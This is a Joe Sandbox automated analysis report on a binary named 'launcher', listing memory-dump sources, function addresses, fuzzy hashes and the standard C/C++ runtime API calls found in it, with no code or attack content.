Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3e774cb326f38eebebb400fa9236bd8350679b4ca146485797e44b82ff737c
Instruction ID: e908aaa3c602001706639babde2d37e4b979983b5e1d290e610b15b0cc551029
Opcode Fuzzy Hash: 2e3e774cb326f38eebebb400fa9236bd8350679b4ca146485797e44b82ff737c
Instruction Fuzzy Hash: B8E08632911638EBC72ADB88C544A59F3ECE745B00B1141A6F505E3104C274DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 003928E0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 3eb6a0d80afb188de639ebff720d492002022fa1fe9a9eabb13881c246cd6116
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 32D0A761A4DBA51E5B5A8D3804A0477FBE8EA47612F18149EE8D1E3109D221DC015698

Uniqueness

Uniqueness Score: -1.00%

Function 003A8C65 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd69532a49f3c3d6adf07701562effa6e97e17f3a9225110f61acd921d024333
Instruction ID: 4da54777dfed649906f96ee3d5beb28e778572b95581aaeb7beddc0dceb05bb1
Opcode Fuzzy Hash: cd69532a49f3c3d6adf07701562effa6e97e17f3a9225110f61acd921d024333
Instruction Fuzzy Hash: CED0C779A5034087C755EB10D941566B3A5974F111F146928D44BD3711C535F4458758

Uniqueness

Uniqueness Score: -1.00%

Function 003BC5B0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f5c2c966d544e48539b7441ae656855c979240e011ae7c9cad2bcc83053b3dc
Instruction ID: abf99a1a4d3364f52607e7228f449c9f1a31859275136967dfc9f7377488996d
Opcode Fuzzy Hash: 4f5c2c966d544e48539b7441ae656855c979240e011ae7c9cad2bcc83053b3dc
Instruction Fuzzy Hash: A0C08CECD6400047CE08EF24EC2283162A8860324AB003038A90AE7A03C810D010855D

Uniqueness

Uniqueness Score: -1.00%

Function 003BD6D2 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75d96406e8c4fafb7bd9ed14b83199d1b833441abe7b98dceeccbd46b23a0d1c
Instruction ID: c52592e4582f04328da228ade1adc26e087806b8039c6d2f4de9a91bc6682446
Opcode Fuzzy Hash: 75d96406e8c4fafb7bd9ed14b83199d1b833441abe7b98dceeccbd46b23a0d1c
Instruction Fuzzy Hash: F3C04868A951808FD284CF18ED82771A2EA978B208F19A435980AE3756C5A1E8468B4E

Uniqueness

Uniqueness Score: -1.00%

Function 0036CE48 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f95bf89dcd39db08bb9778d5b00d19ca86b7a81d23283f91aa40867bd155a56
Instruction ID: ad54645499bf427801add96dd37c70ded7b8afd8874b02245ceaaa158bdd6a28
Opcode Fuzzy Hash: 0f95bf89dcd39db08bb9778d5b00d19ca86b7a81d23283f91aa40867bd155a56
Instruction Fuzzy Hash: 42C08C3402098047CE2B891082B1BB43364A7A1F87F80648CC4460BE42C51F9C82D702

Uniqueness

Uniqueness Score: -1.00%

Function 003BCFBD Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3a649e6a91c4d0fb31f6aefa6f87b4301dba66049ca136cf5e9abdcd14d0df
Instruction ID: d462271c83166d2b83dda49bad965237310ee5bdbc138c2971bb153bd72c8f8c
Opcode Fuzzy Hash: 4d3a649e6a91c4d0fb31f6aefa6f87b4301dba66049ca136cf5e9abdcd14d0df
Instruction Fuzzy Hash: 38C09238AA8440C7AA04CF46EC418B5B27FE3DB30EB34F0229116E7716C5A4EA065B4C

Uniqueness

Uniqueness Score: -1.00%

Function 003BCFD6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1e7b36b422f387a4414f0adebb7a7546ee1ac3c6e17d4304ce0e6e9829659e1
Instruction ID: 8329aa704a63dd4c1aec546bacea96cd2ebd4524cd1c9f6a6919531c13f4d1b6
Opcode Fuzzy Hash: d1e7b36b422f387a4414f0adebb7a7546ee1ac3c6e17d4304ce0e6e9829659e1
Instruction Fuzzy Hash: 2DC04C386544408BA604CF05D841875B37BE7D7209724E0118445A7326C5A4E9068A4C

Uniqueness

Uniqueness Score: -1.00%

Function 003BBE88 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 200c495f10afc80d5f37be53864861fcbe438fca458605c73e0999ef0840caff
Instruction ID: ee97fb64cf5b7d15efe01c7ff95013749b89a1c1c3cc8a42b3fcf0ecf5ce1b38
Opcode Fuzzy Hash: 200c495f10afc80d5f37be53864861fcbe438fca458605c73e0999ef0840caff
Instruction Fuzzy Hash: E3B09238E88440878A0DCF10D862639B23A9BC7208A14B128800223217C2209442850C

Uniqueness

Uniqueness Score: -1.00%

Function 00367FC8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 003680E7
___TypeMatch.LIBVCRUNTIME ref: 003681F5
_UnwindNestedFrames.LIBCMT ref: 00368347
CallUnexpected.LIBVCRUNTIME ref: 00368362

Strings

csm, xrefs: 00368005
csm, xrefs: 0036811E
csm, xrefs: 00368072

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 50bff00e4c148166ea870edd48637b0f5e0ebe6c3b8fc8588a8b898bbb98bf9c
Instruction ID: 9bb1e73c0175793fdfaef2d0c9bb1e63c6a6efae116d7f0b3c1f9826cfbfd3d3
Opcode Fuzzy Hash: 50bff00e4c148166ea870edd48637b0f5e0ebe6c3b8fc8588a8b898bbb98bf9c
Instruction Fuzzy Hash: 78B19F75C00209EFCF2ADFA4C8819AEBBB5FF18314F15C659E9016B21ADB31DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00371F0C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00372185

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 4ce30222502bcf42aea8bb11b6fe742790c37f3ecfd51769bd761247cf08341a
Instruction ID: 49812d39742dd2da6de2fa112500732b0a925352f8aac7435cb7ddc7747bc1d7
Opcode Fuzzy Hash: 4ce30222502bcf42aea8bb11b6fe742790c37f3ecfd51769bd761247cf08341a
Instruction Fuzzy Hash: 10B10771A04209AFDB23DFA9D840BAEBBF5BF45310F14C159E508AB292C7799D81CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00367A60 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00367A97
___except_validate_context_record.LIBVCRUNTIME ref: 00367A9F
_ValidateLocalCookies.LIBCMT ref: 00367B28
__IsNonwritableInCurrentImage.LIBCMT ref: 00367B53
_ValidateLocalCookies.LIBCMT ref: 00367BA8

Strings

t`6, xrefs: 00367B45, 00367B4E, 00367B5F
csm, xrefs: 00367B3D

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$t`6
API String ID: 1170836740-2069241951
Opcode ID: 6bcca7112ef84fd28a26b38a87d08e0fe8accc7a41f4ea5d23fe2ae11e9d1434
Instruction ID: aa8c7147e9fddf8b3faa78e0907ef3fbf0fb849f82cc692df4f76c6a228ce8cc
Opcode Fuzzy Hash: 6bcca7112ef84fd28a26b38a87d08e0fe8accc7a41f4ea5d23fe2ae11e9d1434
Instruction Fuzzy Hash: 0841E634A04208AFCF12DF68C894A9EBBB5EF05328F54C155E8189B396D771EE51CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00379F99 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0037A03F
__alloca_probe_16.LIBCMT ref: 0037A0FA
__alloca_probe_16.LIBCMT ref: 0037A189
__freea.LIBCMT ref: 0037A1D4
__freea.LIBCMT ref: 0037A1DA
__freea.LIBCMT ref: 0037A210
__freea.LIBCMT ref: 0037A216
__freea.LIBCMT ref: 0037A226

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0e6f562b4cc16ae97461053aa883f9c5b1bf32dc03493fb9dde5723d4f166c8a
Instruction ID: ee3fd1d11599b925fa4dade868c91b9bbb6adb448678ecb852f2bcb0dec6c47b
Opcode Fuzzy Hash: 0e6f562b4cc16ae97461053aa883f9c5b1bf32dc03493fb9dde5723d4f166c8a
Instruction Fuzzy Hash: 7271EA72A046095BDF339E54DC41FAF77E99F85310F268559E80CAB282D73E9D408752

Uniqueness

Uniqueness Score: -1.00%

Function 00364682 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 003646CB
__alloca_probe_16.LIBCMT ref: 003646F7
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00364736
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00364753
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00364792
__alloca_probe_16.LIBCMT ref: 003647AF
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003647F1
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00364814

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: c69bab109aad592d3b86ccfa2cb0fd2453e7c53cdcbc15c4091c84eb2afd76d0
Instruction ID: 69f40d481d72bba72d5016653bea53a08a3b393b1d3ec18c89c61d3d937e6f9f
Opcode Fuzzy Hash: c69bab109aad592d3b86ccfa2cb0fd2453e7c53cdcbc15c4091c84eb2afd76d0
Instruction Fuzzy Hash: 8051D172910206AFEB225FA4DC44FAB7BA9EF42740F128029F914DB158D735DD50CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0036F878 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,55303788,?,0036F985,?,?,00000000,00000000), ref: 0036F939

Strings

api-ms-, xrefs: 0036F8CF
ext-ms-, xrefs: 0036F8E3

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4b042efec2e06bb3484373956eb4ea90838df02017defb10454a7eb384bc60d0
Instruction ID: fb75936b3a7aaf995268b8f95f73f1a77c383a80116e1987b99aa48d58cf3b50
Opcode Fuzzy Hash: 4b042efec2e06bb3484373956eb4ea90838df02017defb10454a7eb384bc60d0
Instruction Fuzzy Hash: D621E775A01111BFD7339B64FC40B9A37ACAF41768F258135E909AB298D770ED00CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 00362556 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0036255D
std::_Lockit::_Lockit.LIBCPMT ref: 00362567
int.LIBCPMT ref: 0036257E

Part of subcall function 00362AB6: std::_Lockit::_Lockit.LIBCPMT ref: 00362AC7
Part of subcall function 00362AB6: std::_Lockit::~_Lockit.LIBCPMT ref: 00362AE1

codecvt.LIBCPMT ref: 003625A1
std::_Facet_Register.LIBCPMT ref: 003625B8
std::_Lockit::~_Lockit.LIBCPMT ref: 003625D8
Concurrency::cancel_current_task.LIBCPMT ref: 003625E5

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 14c389e8df73e65dcb6c8f8d2f7df740e19bbd571897d1d49372817ad79289af
Instruction ID: 70d83b3804b96f65e217fffc1e4bc2b4542e7658bab48a4a413181b4547a1e24
Opcode Fuzzy Hash: 14c389e8df73e65dcb6c8f8d2f7df740e19bbd571897d1d49372817ad79289af
Instruction Fuzzy Hash: A5018B359006258BCB1BABA4D815ABEB775AB44720F268409E506AB285DF34DE01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 003625EB Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003625F2
std::_Lockit::_Lockit.LIBCPMT ref: 003625FC
int.LIBCPMT ref: 00362613

Part of subcall function 00362AB6: std::_Lockit::_Lockit.LIBCPMT ref: 00362AC7
Part of subcall function 00362AB6: std::_Lockit::~_Lockit.LIBCPMT ref: 00362AE1

ctype.LIBCPMT ref: 00362636
std::_Facet_Register.LIBCPMT ref: 0036264D
std::_Lockit::~_Lockit.LIBCPMT ref: 0036266D
Concurrency::cancel_current_task.LIBCPMT ref: 0036267A

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registerctype
String ID:
API String ID: 2958136301-0
Opcode ID: 0c51855242f95d55bb02c4fd6e33a76f7644acd4d5162ca92e84f1cb35ef0d2e
Instruction ID: 6f1cecbf24cd664d946a8214034dd96e1d1f44f6397826ef80b374231f44180c
Opcode Fuzzy Hash: 0c51855242f95d55bb02c4fd6e33a76f7644acd4d5162ca92e84f1cb35ef0d2e
Instruction Fuzzy Hash: 1401AD329005158BCB0BEBA4D815BAEB775AF44710F26800AF8146F395CF74DE01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00367C5A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00367C51,00366220,00365302), ref: 00367C68
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00367C76
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00367C8F
SetLastError.KERNEL32(00000000,00367C51,00366220,00365302), ref: 00367CE1

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 03a30fad7c63f9c6c13a9ea8dd5a823b7171df928bd1d861c631eff00d51bbe4
